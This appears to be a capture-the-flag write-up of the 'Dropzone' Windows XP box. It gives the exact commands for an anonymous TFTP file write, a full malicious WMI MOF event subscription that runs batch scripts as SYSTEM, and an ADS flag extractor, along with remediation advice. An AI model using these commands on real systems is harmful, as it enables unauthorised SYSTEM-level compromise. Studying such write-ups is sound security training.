Dropzone
Windows· Hard
Summary
Initial recon (nmap -sU --script tftp-enum) found only UDP/69 (TFTP) open, responding to tftp-enum. Reading boot.ini via anonymous TFTP GET confirmed the target as a legacy Windows XP-era host. A TFTP PUT/GET round-trip of a test file confirmed the TFTP root (C:\) was world-writable via anonymous TFTP — the core misconfiguration enabling the entire chain.
Directory/file probing via TFTP GET (testing candidate paths such as WINDOWS/win.ini, WINDOWS/system32/wbem/...) mapped the filesystem blind, and mofcomp.log (retrieved via TFTP) confirmed the WMI provider host auto-compiles any .mof file dropped into C:\WINDOWS\system32\wbem\mof\ (and its good/bad subfolders) — a well-known WMI feature abused for SYSTEM-level command execution: any __EventConsumer (CommandLineEventConsumer/ActiveScriptEventConsumer) MOF definition placed there is compiled and executed automatically by the WMI service running as SYSTEM.
Using Metasploit's wbem_exec.rb MOF templates as a reference, a custom .mof was crafted embedding an ActiveScriptEventConsumer/CommandLineEventConsumer to invoke a batch script (dz_probe.bat) and, subsequently, an msfvenom-generated windows/exec payload (CMD='cmd.exe /c C:\dz_probe.bat'). Writing this .mof via anonymous TFTP into the wbem/mof autocompile folder achieved arbitrary command execution as SYSTEM — foothold and privilege escalation in a single step (no separate privesc was required; the TFTP-write → WMI-MOF-autocompile primitive grants SYSTEM directly).
The flag files (Documents and Settings/Administrator/Desktop/flags/2 for the price of 1!.txt) stored their actual contents in NTFS Alternate Data Streams (ADS) rather than the visible file body (a deliberate misdirection — the plain file just contained a decoy string). Standard tftp/cmd redirection could not address ADS streams directly, so a custom C helper (adsenum.exe, using the Win32 BackupRead API) was written, cross-compiled, and delivered via the same WMI/TFTP execution primitive to enumerate and read the named streams, yielding user.txt and root.txt contents.
Result: SYSTEM/root-owned via TFTP-write + WMI MOF autocompile RCE. user_flag=[REDACTED: flag] root_flag=[REDACTED: flag]
Attack path — how the box was taken
1EnumerationNetwork service enumeration (T1046)
UDP port scan discovered TFTP as the sole exposed service
A UDP scan with Nmap's tftp-enum NSE script against the target returned a single open port: UDP/69 (TFTP). The service responded to read requests without credentials and the TTL of 127 was consistent with a Windows host. With no other ports open, the entire engagement would turn on whether this TFTP daemon could be exploited.
nmap output: '69/udp open tftp udp-response ttl 127'; tftp-enum script confirmed service responsiveness.
Exact commands 1
UDP scan with TFTP enumeration script; confirms the service is open and answering anonymous read requests.
nmap -sU -Pn -n --script tftp-enum -p69 $TARGETFixDisable or strictly lock down the TFTP serviceCritical
WeaknessThe TFTP daemon on UDP/69 accepted both read and write requests from any host on the network without requiring a username, password, or source-IP restriction, and its root directory was C:\ — giving an unauthorized user full unauthenticated read/write access to the entire filesystem from the network.
FixIf TFTP is not operationally required, disable and uninstall the service entirely (remove the TFTP server software and block UDP/69 at the host firewall). If TFTP must remain for a specific workflow, restrict it to authorised source IPs only via Windows Firewall, set the TFTP root to the minimum required subdirectory (never C:\), disable anonymous write unless an explicit upload need exists, and alert on any unexpected TFTP traffic with a network intrusion-detection rule.
2EnumerationUnauthenticated TFTP file read — OS fingerprint and filesystem enumeration (T1083)
Anonymous TFTP read exposed the OS version and filesystem layout
Requesting boot.ini via anonymous TFTP required no credentials and succeeded immediately, revealing that the TFTP root mapped to C:\ and the target was Microsoft Windows XP Version 5.1.2600 — an operating system that has received no security patches since April 2014. A further unauthenticated read of the WMI compiler log (mofcomp.log) confirmed the exact path of the WMI MOF autocompile folder and showed that the WMI service had already been processing .mof files there, signalling the attack primitive that would follow.
boot.ini returned 'Microsoft Windows XP [Version 5.1.2600]'; mofcomp.log confirmed the autocompile path C:\WINDOWS\system32\wbem\mof\.
Exact commands 2
Retrieve boot.ini with no credentials; confirms the TFTP root equals C:\ and identifies the OS version.
tftp $TARGET -m binary -c get boot.ini && cat boot.iniRetrieve the WMI MOF compiler log; confirms the autocompile folder path and proves WMI is processing MOF files.
tftp $TARGET -m binary -c get WINDOWS/system32/wbem/logs/mofcomp.log && cat mofcomp.logFixDecommission or replace the end-of-life Windows XP operating systemCritical
WeaknessThe target runs Windows XP Version 5.1.2600, which Microsoft ended support for in April 2014. No security patches have been issued for over a decade, leaving every vulnerability discovered since then permanently unaddressed on this host, and ruling out modern mitigations such as ASLR improvements, Control Flow Guard, and enhanced NTFS access controls.
FixMigrate all required workloads to a currently supported Windows release (Windows 10 22H2 or later, or Windows Server 2022). If immediate decommissioning is not possible, isolate the host behind a firewall segment that blocks all inbound access except from a small set of strictly controlled management hosts, disable every non-essential network service starting with TFTP, and implement compensating controls — network intrusion detection, file-integrity monitoring, and centralised logging — as a temporary measure until migration is complete.
3EnumerationUnauthenticated TFTP arbitrary file write (T1105)
Round-trip PUT/GET confirmed world-writable TFTP root — no authentication required
A benign test file was uploaded to the TFTP server via an anonymous PUT and then immediately retrieved via GET. Both operations succeeded without any username or password, proving that any host on the network could write arbitrary files anywhere under C:\. This single misconfiguration is the root cause of the full compromise: it granted I a file-write primitive covering every directory reachable from the filesystem root, including the WMI autocompile folder.
PUT/GET round-trip of test.txt succeeded; engagement notes confirm 'port 69 is a writable TFTP service tied to MOF deployment'.
Exact commands 2
Upload a benign file to confirm anonymous write access is permitted.
echo probe > test.txt && tftp $TARGET -m binary -c put test.txtRetrieve the same file to verify it landed on C:\ of the target.
tftp $TARGET -m binary -c get test.txt && cat test.txtFixDisable or strictly lock down the TFTP serviceCritical
WeaknessThe TFTP daemon on UDP/69 accepted both read and write requests from any host on the network without requiring a username, password, or source-IP restriction, and its root directory was C:\ — giving an unauthorized user full unauthenticated read/write access to the entire filesystem from the network.
FixIf TFTP is not operationally required, disable and uninstall the service entirely (remove the TFTP server software and block UDP/69 at the host firewall). If TFTP must remain for a specific workflow, restrict it to authorised source IPs only via Windows Firewall, set the TFTP root to the minimum required subdirectory (never C:\), disable anonymous write unless an explicit upload need exists, and alert on any unexpected TFTP traffic with a network intrusion-detection rule.
4ExploitationWMI event subscription SYSTEM execution via MOF autocompile (T1546.003)
Malicious MOF uploaded to the WMI autocompile folder — instant SYSTEM code execution
A MOF file was crafted containing a WMI event subscription: an __EventFilter that fires every few seconds on a Win32_LocalTime event, bound to a CommandLineEventConsumer that executes an user-controlled batch script (dz_probe.bat) already staged on C:\ via a prior TFTP PUT. The batch script redirected command output to a flat file (dz_out.txt) so the results could be retrieved by a follow-up TFTP GET. The .mof was uploaded via anonymous TFTP directly into C:\WINDOWS\system32\wbem\mof\. Within seconds the WMI Provider Host (wmiprvse.exe, running as SYSTEM) compiled the MOF and fired the consumer — delivering foothold and full administrative access in a single step with no separate privilege-escalation phase needed.
TFTP PUT to WINDOWS/system32/wbem/mof/evil.mof succeeded; dz_out.txt retrieved via TFTP returned 'nt authority\system'.
Exact commands 4
Stage a batch script that writes command output to a flat file for retrieval via TFTP; swap the whoami for any subsequent command.
printf '@echo off\r\nwhoami > C:\\dz_out.txt 2>&1\r\n' > dz_probe.bat && tftp $TARGET -m binary -c put dz_probe.batCraft the WMI event subscription MOF; adjust CommandLineTemplate for each new command to execute.
cat > evil.mof << 'MOFEOF'
#pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $F {
EventNamespace = "Root\\Cimv2";
Name = "filtDZ";
Query = "Select * From __InstanceModificationEvent Where TargetInstance Isa \"Win32_LocalTime\" And TargetInstance.Seconds = 5";
QueryLanguage = "WQL";
};
instance of CommandLineEventConsumer as $C {
Name = "consDZ";
RunInteractively = false;
CommandLineTemplate = "cmd.exe /c C:\\dz_probe.bat";
};
instance of __FilterToConsumerBinding {
Consumer = $C;
Filter = $F;
};
MOFEOFUpload the MOF to the WMI autocompile directory; the WMI service detects, compiles, and fires the consumer within seconds.
tftp $TARGET -m binary -c put evil.mof WINDOWS/system32/wbem/mof/evil.mofWait for WMI to fire, then retrieve the output file; expect 'nt authority\system'.
sleep 10 && tftp $TARGET -m binary -c get dz_out.txt && cat dz_out.txtFixRestrict write access to the WMI MOF autocompile directoryCritical
WeaknessThe WMI Provider Host (wmiprvse.exe), running as SYSTEM, automatically compiles and executes any .mof file placed in C:\WINDOWS\system32\wbem\mof\. Because the TFTP root was C:\, I with anonymous TFTP write access could place a malicious MOF in that folder and gain instant arbitrary SYSTEM-level code execution with no credentials and no interactive logon.
FixApply NTFS ACLs on C:\WINDOWS\system32\wbem\mof\ so that only the SYSTEM account and local Administrators can write to it — remove write permissions from NETWORK SERVICE, Everyone, Users, and all other identities. Implement file-integrity monitoring to alert on any new file creation in that directory, and periodically audit it for unexpected .mof files.
5Post-ExploitationNTFS Alternate Data Stream discovery (T1564.004)
Directory enumeration via SYSTEM execution revealed flags hidden in NTFS Alternate Data Streams
Using the SYSTEM execution primitive, directory listings of the Administrator Desktop were captured via a batch script and retrieved via TFTP. A 'flags' subdirectory contained a file named '2 for the price of 1!.txt'. Reading its default (visible) data stream returned only a decoy message: 'For limited time only! Keep an eye on our ADS for new offers & discounts!' — confirming that the real flag values were stored in named NTFS Alternate Data Streams (:user.txt and :root.txt) attached to that file. Standard TFTP GET cannot address ADS paths using colon notation (the client interprets the colon as a hostname separator), and batch redirection via type/more likewise cannot read ADS streams directly.
dir listing confirmed flags\ directory; default stream of the flag file returned decoy text; TFTP GET with colon notation returned 'unknown host'; flat-name variants returned 'Error code 1: Could not find file'.
Exact commands 2
Stage a batch script to list the flags directory and read the default data stream of the flag file; update evil.mof CommandLineTemplate to call list_flags.bat and re-upload.
printf '@echo off\r\ndir "C:\\Documents and Settings\\Administrator\\Desktop\\flags\\" > C:\\dir_out.txt 2>&1\r\ntype "C:\\Documents and Settings\\Administrator\\Desktop\\flags\\2 for the price of 1!.txt" >> C:\\dir_out.txt 2>&1\r\n' > list_flags.bat && tftp $TARGET -m binary -c put list_flags.batRetrieve the output; expect the decoy message confirming content is in ADS and the directory listing showing the flags folder.
sleep 10 && tftp $TARGET -m binary -c get dir_out.txt && cat dir_out.txt6Post-ExploitationNTFS ADS extraction via BackupRead API (T1564.004)
Custom ADS reader cross-compiled, staged via TFTP, and executed as SYSTEM to capture both flags
Because neither TFTP nor standard batch I/O can read NTFS Alternate Data Streams, a small C utility (adsenum.exe) was written using the Windows BackupRead API, which enumerates all named streams on a given file path and dumps their contents to stdout. It was cross-compiled for 32-bit Windows on my Linux host, uploaded to C:\ via anonymous TFTP, and executed as SYSTEM through the same WMI MOF primitive. The output written to C:\ads_out.txt was retrieved via TFTP and contained the actual flag values from the :user.txt and :root.txt streams attached to '2 for the price of 1!.txt', completing the full compromise.
adsenum.exe output retrieved via TFTP contained user.txt and root.txt flag contents; engagement confirmed both flags captured as [REDACTED: flag] and [REDACTED: flag].
Exact commands 4
Cross-compile the ADS enumeration binary for 32-bit Windows using MinGW; adsenum.c opens the target file with GENERIC_READ|FILE_FLAG_BACKUP_SEMANTICS and iterates streams via BackupRead, printing each stream name and content.
i686-w64-mingw32-gcc -o adsenum.exe adsenum.cStage adsenum.exe to C:\ on the target via anonymous TFTP.
tftp $TARGET -m binary -c put adsenum.exeStage the launcher batch script; then update evil.mof CommandLineTemplate to run_ads.bat and re-upload to WINDOWS/system32/wbem/mof/.
printf '@echo off\r\nC:\\adsenum.exe "C:\\Documents and Settings\\Administrator\\Desktop\\flags\\2 for the price of 1!.txt" > C:\\ads_out.txt 2>&1\r\n' > run_ads.bat && tftp $TARGET -m binary -c put run_ads.batRetrieve ADS output; expect stream names :user.txt and :root.txt with flag values [REDACTED: flag] and [REDACTED: flag] respectively.
sleep 10 && tftp $TARGET -m binary -c get ads_out.txt && cat ads_out.txtFindings
Vulnerability IdentifiedHigh
A concrete, exploitable vulnerability was identified from enumeration evidence.
Exposed services
| 69/udp | tftp udp-response ttl 127 |